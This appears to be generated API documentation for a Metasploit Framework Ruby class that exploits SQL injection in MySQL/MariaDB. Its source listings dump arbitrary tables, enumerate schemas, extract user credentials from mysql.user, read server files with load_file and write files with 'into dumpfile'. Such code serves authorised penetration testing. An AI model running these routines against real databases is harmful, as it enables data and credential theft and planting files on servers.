Class: Msf::Exploit::SQLi::MySQLi::Common
- Defined in:
- lib/msf/core/exploit/sqli/mysqli/common.rb
Direct Known Subclasses
Constant Summary collapse
- ENCODERS =
Encoders supported by MySQL/MariaDB Keys are MySQL/MariaDB function names, values are decoding procs in Ruby
{ base64: { encode: 'replace(to_base64(^DATA^), \'\\n\', \'\')', decode: proc { |data| Base64.decode64(data) } }, hex: { encode: 'hex(^DATA^)', decode: proc { |data| Rex::Text.hex_to_raw(data) } } }.freeze
Instance Attribute Summary
Attributes inherited from Common
#concat_separator, #datastore, #framework, #null_replacement, #safe, #second_concat_separator, #truncation_length
Attributes included from Rex::Ui::Subscriber::Input
Attributes included from Rex::Ui::Subscriber::Output
Instance Method Summary collapse
-
#current_database ⇒ Object
Query the current database name @return [String] The name of the current database.
-
#current_user ⇒ Object
Query the current user @return [String] The username of the current user.
-
#dump_table_fields(table, columns, condition = '', num_limit = 0) ⇒ Object
Query the given columns of the records of the given table, that satisfy an optional condition @param table [String] The name of the table to query @param columns [Array] The names of the columns to query @param condition [String] An optional condition, return only the rows satisfying it @param num_limit [Integer] An optional maximum number of results to return @return [Array] An array, where each element is an array of strings representing a row of the results.
-
#enum_database_encoding(database = 'database()') ⇒ Object
Query the character encoding of the given database @param database [String] the name of a database, or a function call, defaults to the current database @return [String] The character encoding of the chosen database.
-
#enum_database_names ⇒ Object
Query the names of all the existing databases @return [Array] An array of Strings, the database names.
-
#enum_dbms_users ⇒ Array
Query the MySQL/MariaDB users (their username and password), this might require elevated privileges.
-
#enum_table_columns(table_name) ⇒ Object
Query the column names of the given table in the given database @param table_name [String] the name of the table of which you want to query the column names, eg: database.table @return [Array] An array of Strings, the column names in the given table belonging to the given database.
-
#enum_table_names(database = 'database()') ⇒ Object
Query the names of the tables in a given database @param database [String] the name of a database, or a function call, defaults to the current database @return [Array] An array of Strings, the table names in the given database.
-
#enum_view_names(database = 'database()') ⇒ Object
Query the names of the views in a given database @param database [String] the name of a database, or a function call, defaults to the current database @return [Array] An array of Strings, the view names in the given database.
-
#initialize(datastore, framework, user_output, opts = {}, &query_proc) ⇒ Common
constructor
See SQLi::Common#initialize.
-
#read_from_file(fpath, binary = false) ⇒ String
Attempt reading from a file on the filesystem, requires having the FILE privilege.
-
#test_vulnerable ⇒ Boolean
Checks if the target is vulnerable (if the SQL injection is working fine), by checking that queries that should return known results return the results we expect from them.
-
#version ⇒ Object
Query the MySQL/MariaDB version @return [String] The MySQL/MariaDB version in use.
-
#write_to_file(fpath, data) ⇒ void
Attempt writing data to the file at the given path.
Methods inherited from Common
Methods included from Module::UI
Methods included from Module::UI::Message
#print_error, #print_good, #print_prefix, #print_status, #print_warning
Methods included from Module::UI::Message::Verbose
#vprint_error, #vprint_good, #vprint_status, #vprint_warning
Methods included from Module::UI::Line
#print_line, #print_line_prefix
Methods included from Module::UI::Line::Verbose
Methods included from Rex::Ui::Subscriber
Methods included from Rex::Ui::Subscriber::Input
Methods included from Rex::Ui::Subscriber::Output
#flush, #print, #print_blank_line, #print_error, #print_good, #print_line, #print_status, #print_warning
Constructor Details
#initialize(datastore, framework, user_output, opts = {}, &query_proc) ⇒ Common
See SQLi::Common#initialize
28 29 30 31 32 33 34 35 |
# File 'lib/msf/core/exploit/sqli/mysqli/common.rb', line 28 def initialize(datastore, framework, user_output, opts = {}, &query_proc) if opts[:encoder].is_a?(String) || opts[:encoder].is_a?(Symbol) # if it's a String or a Symbol, use a predefined encoder if it exists opts[:encoder] = opts[:encoder].downcase.intern opts[:encoder] = ENCODERS[opts[:encoder]] if ENCODERS[opts[:encoder]] end super end |
Instance Method Details
#current_database ⇒ Object
Query the current database name
@return [String] The name of the current database
49 50 51 |
# File 'lib/msf/core/exploit/sqli/mysqli/common.rb', line 49 def current_database call_function('database()') end |
#current_user ⇒ Object
Query the current user
@return [String] The username of the current user
57 58 59 |
# File 'lib/msf/core/exploit/sqli/mysqli/common.rb', line 57 def current_user call_function('user()') end |
#dump_table_fields(table, columns, condition = '', num_limit = 0) ⇒ Object
Query the given columns of the records of the given table, that satisfy an optional condition
@param table [String] The name of the table to query
@param columns [Array] The names of the columns to query
@param condition [String] An optional condition, return only the rows satisfying it
@param num_limit [Integer] An optional maximum number of results to return
@return [Array] An array, where each element is an array of strings representing a row of the results
131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 |
# File 'lib/msf/core/exploit/sqli/mysqli/common.rb', line 131 def dump_table_fields(table, columns, condition = '', num_limit = 0) return '' if columns.empty? one_column = columns.length == 1 if one_column columns = "ifnull(#{columns.first},'#{@null_replacement}')" columns = @encoder[:encode].sub(/\^DATA\^/, columns) if @encoder else columns = "concat_ws('#{@second_concat_separator}'," + columns.map do |col| col = "ifnull(#{col},'#{@null_replacement}')" @encoder ? @encoder[:encode].sub(/\^DATA\^/, col) : col end.join(',') + ')' end unless condition.empty? condition = ' where ' + condition end num_limit = num_limit.to_i limit = num_limit > 0 ? ' limit ' + num_limit.to_s : '' retrieved_data = nil if @safe # no group_concat, leak one row at a time row_count = run_sql("select count(1) from #{table}#{condition}").to_i num_limit = row_count if num_limit == 0 || row_count < num_limit retrieved_data = num_limit.times.map do |current_row| if @truncation_length truncated_query("select mid(cast(#{columns} as binary),^OFFSET^,#{@truncation_length}) from " \ "#{table}#{condition} limit #{current_row},1") else run_sql("select cast(#{columns} as binary) from #{table}#{condition} limit #{current_row},1") end end else # if limit > 0, an alias will be necessary if num_limit > 0 alias1, alias2 = 2.times.map { Rex::Text.rand_text_alpha(rand(2..9)) } if @truncation_length retrieved_data = truncated_query('select mid(group_concat(' \ "#{alias1}#{@concat_separator ? " separator '" + @concat_separator + "'" : ''}),"\ "^OFFSET^,#{@truncation_length}) from (select cast(#{columns} as binary) #{alias1} from #{table}"\ "#{condition}#{limit}) #{alias2}").split(@concat_separator || ',') else retrieved_data = run_sql("select group_concat(#{alias1}#{@concat_separator ? " separator '" + @concat_separator + "'" : ''})"\ " from (select cast(#{columns} as binary) #{alias1} from #{table}#{condition}#{limit}) #{alias2}").split(@concat_separator || ',') end else if @truncation_length retrieved_data = truncated_query('select mid(group_concat(' \ "cast(#{columns} as binary)#{@concat_separator ? " separator '" + @concat_separator + "'" : ''})," \ "^OFFSET^,#{@truncation_length}) from #{table}#{condition}#{limit}").split(@concat_separator || ',') else retrieved_data = run_sql("select group_concat(cast(#{columns} as binary)#{@concat_separator ? " separator '" + @concat_separator + "'" : ''})" \ " from #{table}#{condition}#{limit}").split(@concat_separator || ',') end end end retrieved_data.map do |row| row = row.split(@second_concat_separator) @encoder ? row.map { |x| @encoder[:decode].call(x) } : row end end |
#enum_database_encoding(database = 'database()') ⇒ Object
Query the character encoding of the given database
@param database [String] the name of a database, or a function call, defaults to the current database
@return [String] The character encoding of the chosen database
74 75 76 77 |
# File 'lib/msf/core/exploit/sqli/mysqli/common.rb', line 74 def enum_database_encoding(database = 'database()') dump_table_fields('information_schema.schemata', %w[DEFAULT_CHARACTER_SET_NAME], "SCHEMA_NAME=#{database.include?('(') ? database : "'" + database + "'"}").flatten[0] end |
#enum_database_names ⇒ Object
Query the names of all the existing databases
@return [Array] An array of Strings, the database names
65 66 67 |
# File 'lib/msf/core/exploit/sqli/mysqli/common.rb', line 65 def enum_database_names dump_table_fields('information_schema.schemata', %w[schema_name]).flatten end |
#enum_dbms_users ⇒ Array
Query the MySQL/MariaDB users (their username and password), this might require elevated privileges.
103 104 105 106 |
# File 'lib/msf/core/exploit/sqli/mysqli/common.rb', line 103 def enum_dbms_users # might require elevated privileges dump_table_fields('mysql.user', %w[User Password]) end |
#enum_table_columns(table_name) ⇒ Object
Query the column names of the given table in the given database
@param table_name [String] the name of the table of which you want to query the column names, eg: database.table
@return [Array] An array of Strings, the column names in the given table belonging to the given database
113 114 115 116 117 118 119 120 121 |
# File 'lib/msf/core/exploit/sqli/mysqli/common.rb', line 113 def enum_table_columns(table_name) table_schema_condition = '' if table_name.include?('.') database, table_name = table_name.split('.') table_schema_condition = " and table_schema=#{database.include?('(') ? database : "'" + database + "'"}" end dump_table_fields('information_schema.columns', %w[column_name], "table_name='#{table_name}'#{table_schema_condition}").flatten end |
#enum_table_names(database = 'database()') ⇒ Object
Query the names of the tables in a given database
@param database [String] the name of a database, or a function call, defaults to the current database
@return [Array] An array of Strings, the table names in the given database
84 85 86 87 |
# File 'lib/msf/core/exploit/sqli/mysqli/common.rb', line 84 def enum_table_names(database = 'database()') dump_table_fields('information_schema.tables', %w[table_name], "table_schema=#{database.include?('(') ? database : "'" + database + "'"}").flatten end |
#enum_view_names(database = 'database()') ⇒ Object
Query the names of the views in a given database
@param database [String] the name of a database, or a function call, defaults to the current database
@return [Array] An array of Strings, the view names in the given database
94 95 96 97 |
# File 'lib/msf/core/exploit/sqli/mysqli/common.rb', line 94 def enum_view_names(database = 'database()') dump_table_fields('information_schema.views', %w[table_name], "table_schema=#{database.include?('(') ? database : "'" + database + "'"}").flatten end |
#read_from_file(fpath, binary = false) ⇒ String
Attempt reading from a file on the filesystem, requires having the FILE privilege
223 224 225 |
# File 'lib/msf/core/exploit/sqli/mysqli/common.rb', line 223 def read_from_file(fpath, binary=false) call_function("load_file('#{fpath}')") end |
#test_vulnerable ⇒ Boolean
Checks if the target is vulnerable (if the SQL injection is working fine), by checking that queries that should return known results return the results we expect from them
197 198 199 200 201 202 203 204 205 |
# File 'lib/msf/core/exploit/sqli/mysqli/common.rb', line 197 def test_vulnerable random_string_len = @truncation_length ? [rand(2..10), @truncation_length].min : rand(2..10) random_string = Rex::Text.rand_text_alphanumeric(random_string_len) query_string = "'#{random_string}'" query_string = @encoder[:encode].sub(/\^DATA\^/, query_string) if @encoder output = run_sql("select #{query_string}") return false if output.nil? (@encoder ? @encoder[:decode].call(output) : output) == random_string end |
#version ⇒ Object
Query the MySQL/MariaDB version
@return [String] The MySQL/MariaDB version in use
41 42 43 |
# File 'lib/msf/core/exploit/sqli/mysqli/common.rb', line 41 def version call_function('version()') end |
#write_to_file(fpath, data) ⇒ void
This method returns an undefined value.
Attempt writing data to the file at the given path
213 214 215 |
# File 'lib/msf/core/exploit/sqli/mysqli/common.rb', line 213 def write_to_file(fpath, data) raw_run_sql("select '#{data}' into dumpfile '#{fpath}'") end |